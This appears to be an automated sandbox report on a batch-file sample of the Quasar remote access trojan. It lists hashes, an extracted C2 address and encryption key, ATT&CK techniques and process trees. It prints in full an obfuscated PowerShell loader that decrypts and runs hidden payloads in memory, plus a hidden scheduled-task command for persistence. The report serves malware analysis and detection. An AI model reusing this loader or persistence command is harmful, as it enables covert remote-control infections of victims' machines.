quasar | f97f77ce58a88581f1c85dd041e9eae54355627ecb8a50879e3e2b2d3b93c928

General

Target

Uni.bat
Size

513KB
MD5

0a925ca16ec44e9565027638c4ff20f7
SHA1

d20cce3d5306e093b5229277bf185d8837870434
SHA256

f97f77ce58a88581f1c85dd041e9eae54355627ecb8a50879e3e2b2d3b93c928
SHA512

063be2320c4fabda61ea010ed4cecd8cb48805590d174efe9df5664afe7507ab83087b604ecb9999c7c1c51e13a841735e976d846ef6c693fe0c72ac94ca1d43
SSDEEP

12288:ZUA4TL+TtSVgrl27G3czjtDAJyemKolW59Evy:ZUA4Yx27GYGJyemKtivy

Score

10^/10

quasar slave execution spyware trojan

Malware Config

Extracted

Family

quasar

Version

3.1.5

Botnet

SLAVE

C2

even-lemon.gl.at.ply.gg:33587

Mutex

$Sxr-AidubAN29rBfWYM23w

Attributes

encryption_key
iBg8YjYObpa3f3ADDras
install_name
$sxr-powershell.exe
log_directory
$SXR-LOGS
reconnect_delay
3000
startup_key
$sxr-powershell
subdirectory
$sxr-seroxen2

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 1 IoCs

Processes:

resource	yara_rule
behavioral1/memory/4356-204-0x0000000007E80000-0x0000000007EEC000-memory.dmp	family_quasar

Blocklisted process makes network request 3 IoCs

Processes:

powershell.exe

flow pid process

3 4356 powershell.exe
5 4356 powershell.exe
8 4356 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exepowershell.exe

pid process

2340 powershell.exe
4876 powershell.exe
4356 powershell.exe
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

2 ip-api.com
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Modifies registry class 1 IoCs

Processes:

powershell.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-1739856679-3467441365-73334005-1000_Classes\Local Settings powershell.exe

flow	pid	process
3	4356	powershell.exe
5	4356	powershell.exe
8	4356	powershell.exe

flow	ioc
2	ip-api.com

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1739856679-3467441365-73334005-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

pid	process
2340	powershell.exe
2340	powershell.exe
2340	powershell.exe
4876	powershell.exe
4876	powershell.exe
4876	powershell.exe
4356	powershell.exe
4356	powershell.exe
4356	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	2340	powershell.exe
Token: SeDebugPrivilege	4876	powershell.exe
Token: SeIncreaseQuotaPrivilege	4876	powershell.exe
Token: SeSecurityPrivilege	4876	powershell.exe
Token: SeTakeOwnershipPrivilege	4876	powershell.exe
Token: SeLoadDriverPrivilege	4876	powershell.exe
Token: SeSystemProfilePrivilege	4876	powershell.exe
Token: SeSystemtimePrivilege	4876	powershell.exe
Token: SeProfSingleProcessPrivilege	4876	powershell.exe
Token: SeIncBasePriorityPrivilege	4876	powershell.exe
Token: SeCreatePagefilePrivilege	4876	powershell.exe
Token: SeBackupPrivilege	4876	powershell.exe
Token: SeRestorePrivilege	4876	powershell.exe
Token: SeShutdownPrivilege	4876	powershell.exe
Token: SeDebugPrivilege	4876	powershell.exe
Token: SeSystemEnvironmentPrivilege	4876	powershell.exe
Token: SeRemoteShutdownPrivilege	4876	powershell.exe
Token: SeUndockPrivilege	4876	powershell.exe
Token: SeManageVolumePrivilege	4876	powershell.exe
Token: 33	4876	powershell.exe
Token: 34	4876	powershell.exe
Token: 35	4876	powershell.exe
Token: 36	4876	powershell.exe
Token: SeIncreaseQuotaPrivilege	4876	powershell.exe
Token: SeSecurityPrivilege	4876	powershell.exe
Token: SeTakeOwnershipPrivilege	4876	powershell.exe
Token: SeLoadDriverPrivilege	4876	powershell.exe
Token: SeSystemProfilePrivilege	4876	powershell.exe
Token: SeSystemtimePrivilege	4876	powershell.exe
Token: SeProfSingleProcessPrivilege	4876	powershell.exe
Token: SeIncBasePriorityPrivilege	4876	powershell.exe
Token: SeCreatePagefilePrivilege	4876	powershell.exe
Token: SeBackupPrivilege	4876	powershell.exe
Token: SeRestorePrivilege	4876	powershell.exe
Token: SeShutdownPrivilege	4876	powershell.exe
Token: SeDebugPrivilege	4876	powershell.exe
Token: SeSystemEnvironmentPrivilege	4876	powershell.exe
Token: SeRemoteShutdownPrivilege	4876	powershell.exe
Token: SeUndockPrivilege	4876	powershell.exe
Token: SeManageVolumePrivilege	4876	powershell.exe
Token: 33	4876	powershell.exe
Token: 34	4876	powershell.exe
Token: 35	4876	powershell.exe
Token: 36	4876	powershell.exe
Token: SeIncreaseQuotaPrivilege	4876	powershell.exe
Token: SeSecurityPrivilege	4876	powershell.exe
Token: SeTakeOwnershipPrivilege	4876	powershell.exe
Token: SeLoadDriverPrivilege	4876	powershell.exe
Token: SeSystemProfilePrivilege	4876	powershell.exe
Token: SeSystemtimePrivilege	4876	powershell.exe
Token: SeProfSingleProcessPrivilege	4876	powershell.exe
Token: SeIncBasePriorityPrivilege	4876	powershell.exe
Token: SeCreatePagefilePrivilege	4876	powershell.exe
Token: SeBackupPrivilege	4876	powershell.exe
Token: SeRestorePrivilege	4876	powershell.exe
Token: SeShutdownPrivilege	4876	powershell.exe
Token: SeDebugPrivilege	4876	powershell.exe
Token: SeSystemEnvironmentPrivilege	4876	powershell.exe
Token: SeRemoteShutdownPrivilege	4876	powershell.exe
Token: SeUndockPrivilege	4876	powershell.exe
Token: SeManageVolumePrivilege	4876	powershell.exe
Token: 33	4876	powershell.exe
Token: 34	4876	powershell.exe
Token: 35	4876	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

powershell.exe

pid process

4356 powershell.exe

pid	process
4356	powershell.exe

Suspicious use of WriteProcessMemory 15 IoCs

Processes:

cmd.exepowershell.exeWScript.execmd.exe

description	pid	process	target process
PID 312 wrote to memory of 2340	312	cmd.exe	powershell.exe
PID 312 wrote to memory of 2340	312	cmd.exe	powershell.exe
PID 312 wrote to memory of 2340	312	cmd.exe	powershell.exe
PID 2340 wrote to memory of 4876	2340	powershell.exe	powershell.exe
PID 2340 wrote to memory of 4876	2340	powershell.exe	powershell.exe
PID 2340 wrote to memory of 4876	2340	powershell.exe	powershell.exe
PID 2340 wrote to memory of 3676	2340	powershell.exe	WScript.exe
PID 2340 wrote to memory of 3676	2340	powershell.exe	WScript.exe
PID 2340 wrote to memory of 3676	2340	powershell.exe	WScript.exe
PID 3676 wrote to memory of 4732	3676	WScript.exe	cmd.exe
PID 3676 wrote to memory of 4732	3676	WScript.exe	cmd.exe
PID 3676 wrote to memory of 4732	3676	WScript.exe	cmd.exe
PID 4732 wrote to memory of 4356	4732	cmd.exe	powershell.exe
PID 4732 wrote to memory of 4356	4732	cmd.exe	powershell.exe
PID 4732 wrote to memory of 4356	4732	cmd.exe	powershell.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Uni.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:312

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sUCdiMpPcTo1kNTcd5faO+vGx5veajqktS5lxbmGgB0='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('HohuDnSLNHAZu1hC5GGBHg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $lxCOt=New-Object System.IO.MemoryStream(,$param_var); $ejzUa=New-Object System.IO.MemoryStream; $KBGGf=New-Object System.IO.Compression.GZipStream($lxCOt, [IO.Compression.CompressionMode]::Decompress); $KBGGf.CopyTo($ejzUa); $KBGGf.Dispose(); $lxCOt.Dispose(); $ejzUa.Dispose(); $ejzUa.ToArray();}function execute_function($param_var,$param2_var){ $KWZel=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $yxLPQ=$KWZel.EntryPoint; $yxLPQ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Uni.bat';$Urrlw=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Uni.bat').Split([Environment]::NewLine);foreach ($eNEwK in $Urrlw) { if ($eNEwK.StartsWith(':: ')) { $UjlEC=$eNEwK.Substring(3); break; }}$payloads_var=[string[]]$UjlEC.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
2⤵
- Command and Scripting Interpreter: PowerShell
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2340

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_310_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_310.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4876

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_310.vbs"
3⤵
- Suspicious use of WriteProcessMemory
PID:3676

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_310.bat" "
4⤵
- Suspicious use of WriteProcessMemory
PID:4732

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sUCdiMpPcTo1kNTcd5faO+vGx5veajqktS5lxbmGgB0='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('HohuDnSLNHAZu1hC5GGBHg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $lxCOt=New-Object System.IO.MemoryStream(,$param_var); $ejzUa=New-Object System.IO.MemoryStream; $KBGGf=New-Object System.IO.Compression.GZipStream($lxCOt, [IO.Compression.CompressionMode]::Decompress); $KBGGf.CopyTo($ejzUa); $KBGGf.Dispose(); $lxCOt.Dispose(); $ejzUa.Dispose(); $ejzUa.ToArray();}function execute_function($param_var,$param2_var){ $KWZel=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $yxLPQ=$KWZel.EntryPoint; $yxLPQ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_310.bat';$Urrlw=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_310.bat').Split([Environment]::NewLine);foreach ($eNEwK in $Urrlw) { if ($eNEwK.StartsWith(':: ')) { $UjlEC=$eNEwK.Substring(3); break; }}$payloads_var=[string[]]$UjlEC.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
5⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:4356

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Filesize
2KB

MD5
ac3d19fbb5c5f10833f1882308f77548

SHA1
ac880466fd99a5719fedc7289b00d78ba7088e06

SHA256
3353b90af649198e084632af776f8c6ea3a9302da5a50d85f7ecde1c7ad295df

SHA512
b5e6369d7f475e9931d19fb2a5305b4c901ca5fcac5d788d064b6a1b1d6de2034e84932ac243d5056c745b924a2e9537a06b4172fab364402263788c814bc28b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Filesize
45KB

MD5
5f640bd48e2547b4c1a7421f080f815f

SHA1
a8f4a743f5b7da5cba7b8e6fb1d7ad4d67fefc6a

SHA256
916c83c7c8d059aea295523b8b3f24e1e2436df894f7fae26c47c9bad04baa9c

SHA512
a6ac100a351946b1bbb40c98aeda6e16e12f90f81063aff08c16d4d9afec8ed65c2cbcf25b42946627d67653f75740b1137dab625c99e9492ba35aba68b79a8e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
17KB

MD5
34ab9d1948dfe2b29666dee0c2151d0e

SHA1
2ba4bd3ee14b6052244c68269ca3a7dbff13841a

SHA256
9b47fe21d6556f877e317b5442aa22316ec8540bbd47aa8e643afe637460345e

SHA512
f2d1efa5cf5db0b27bc1f98e0e15fa0ad5f74845cf8f68ecca3ad2881a0ad31f74eb293af2a92d13aaa6dd9ad553b81ccfb906ed54c12b3be6dc10c981429f1d

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ub4tjoaw.dgz.ps1
Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

Download Submit
C:\Users\Admin\AppData\Roaming\startup_str_310.bat
Filesize
513KB

MD5
0a925ca16ec44e9565027638c4ff20f7

SHA1
d20cce3d5306e093b5229277bf185d8837870434

SHA256
f97f77ce58a88581f1c85dd041e9eae54355627ecb8a50879e3e2b2d3b93c928

SHA512
063be2320c4fabda61ea010ed4cecd8cb48805590d174efe9df5664afe7507ab83087b604ecb9999c7c1c51e13a841735e976d846ef6c693fe0c72ac94ca1d43

Download Submit
C:\Users\Admin\AppData\Roaming\startup_str_310.vbs
Filesize
115B

MD5
8862d3ccfefe28cc757e50104be595c8

SHA1
5019dd2e2b8e1ce99421c670f0ce6a1a9ca448a6

SHA256
5061b721bfee265b612d19b881b39273aaf179f3c9660826a08264a7ddf8e8c8

SHA512
ed50d830b64ad8a14b5d30184c022c609bded28d32b96432f006162e590d68fcb251c3fd5d300e75a5ce589d49b045650cfef176a25e37bb88d5a6c9f9b23aee

Download Submit
memory/2340-33-0x0000000002F70000-0x0000000002F78000-memory.dmp

Filesize
32KB

Download
memory/2340-6-0x0000000074000000-0x00000000746EE000-memory.dmp

Filesize
6.9MB

Download
memory/2340-10-0x0000000007DF0000-0x0000000008140000-memory.dmp

Filesize
3.3MB

Download
memory/2340-13-0x0000000007C40000-0x0000000007C5C000-memory.dmp

Filesize
112KB

Download
memory/2340-14-0x0000000008230000-0x000000000827B000-memory.dmp

Filesize
300KB

Download
memory/2340-15-0x0000000008500000-0x0000000008576000-memory.dmp

Filesize
472KB

Download
memory/2340-8-0x0000000007CF0000-0x0000000007D56000-memory.dmp

Filesize
408KB

Download
memory/2340-28-0x0000000074000000-0x00000000746EE000-memory.dmp

Filesize
6.9MB

Download
memory/2340-31-0x0000000009CD0000-0x000000000A348000-memory.dmp

Filesize
6.5MB

Download
memory/2340-32-0x0000000009270000-0x000000000928A000-memory.dmp

Filesize
104KB

Download
memory/2340-7-0x0000000007420000-0x0000000007442000-memory.dmp

Filesize
136KB

Download
memory/2340-34-0x0000000009560000-0x00000000095C2000-memory.dmp

Filesize
392KB

Download
memory/2340-35-0x000000000C350000-0x000000000C84E000-memory.dmp

Filesize
5.0MB

Download
memory/2340-3-0x0000000004D30000-0x0000000004D66000-memory.dmp

Filesize
216KB

Download
memory/2340-162-0x0000000074000000-0x00000000746EE000-memory.dmp

Filesize
6.9MB

Download
memory/2340-146-0x0000000074000000-0x00000000746EE000-memory.dmp

Filesize
6.9MB

Download
memory/2340-0-0x000000007400E000-0x000000007400F000-memory.dmp

Filesize
4KB

Download
memory/2340-143-0x000000007400E000-0x000000007400F000-memory.dmp

Filesize
4KB

Download
memory/2340-4-0x0000000074000000-0x00000000746EE000-memory.dmp

Filesize
6.9MB

Download
memory/2340-9-0x0000000007D60000-0x0000000007DC6000-memory.dmp

Filesize
408KB

Download
memory/2340-186-0x0000000074000000-0x00000000746EE000-memory.dmp

Filesize
6.9MB

Download
memory/2340-5-0x00000000074E0000-0x0000000007B08000-memory.dmp

Filesize
6.2MB

Download
memory/4356-204-0x0000000007E80000-0x0000000007EEC000-memory.dmp

Filesize
432KB

Download
memory/4356-205-0x00000000099C0000-0x0000000009A52000-memory.dmp

Filesize
584KB

Download
memory/4356-206-0x00000000098F0000-0x0000000009902000-memory.dmp

Filesize
72KB

Download
memory/4356-207-0x0000000009C90000-0x0000000009CCE000-memory.dmp

Filesize
248KB

Download
memory/4356-217-0x0000000009DE0000-0x0000000009DEA000-memory.dmp

Filesize
40KB

Download
memory/4876-64-0x0000000008DD0000-0x0000000008E03000-memory.dmp

Filesize
204KB

Download
memory/4876-167-0x0000000074000000-0x00000000746EE000-memory.dmp

Filesize
6.9MB

Download
memory/4876-163-0x0000000074000000-0x00000000746EE000-memory.dmp

Filesize
6.9MB

Download
memory/4876-74-0x0000000009100000-0x0000000009194000-memory.dmp

Filesize
592KB

Download
memory/4876-73-0x0000000074000000-0x00000000746EE000-memory.dmp

Filesize
6.9MB

Download
memory/4876-72-0x0000000008F60000-0x0000000009005000-memory.dmp

Filesize
660KB

Download
memory/4876-71-0x0000000074000000-0x00000000746EE000-memory.dmp

Filesize
6.9MB

Download
memory/4876-66-0x0000000008DB0000-0x0000000008DCE000-memory.dmp

Filesize
120KB

Download
memory/4876-65-0x0000000070BE0000-0x0000000070C2B000-memory.dmp

Filesize
300KB

Download
memory/4876-47-0x0000000074000000-0x00000000746EE000-memory.dmp

Filesize
6.9MB

Download
memory/4876-46-0x0000000074000000-0x00000000746EE000-memory.dmp

Filesize
6.9MB

Download
memory/4876-45-0x0000000074000000-0x00000000746EE000-memory.dmp

Filesize
6.9MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads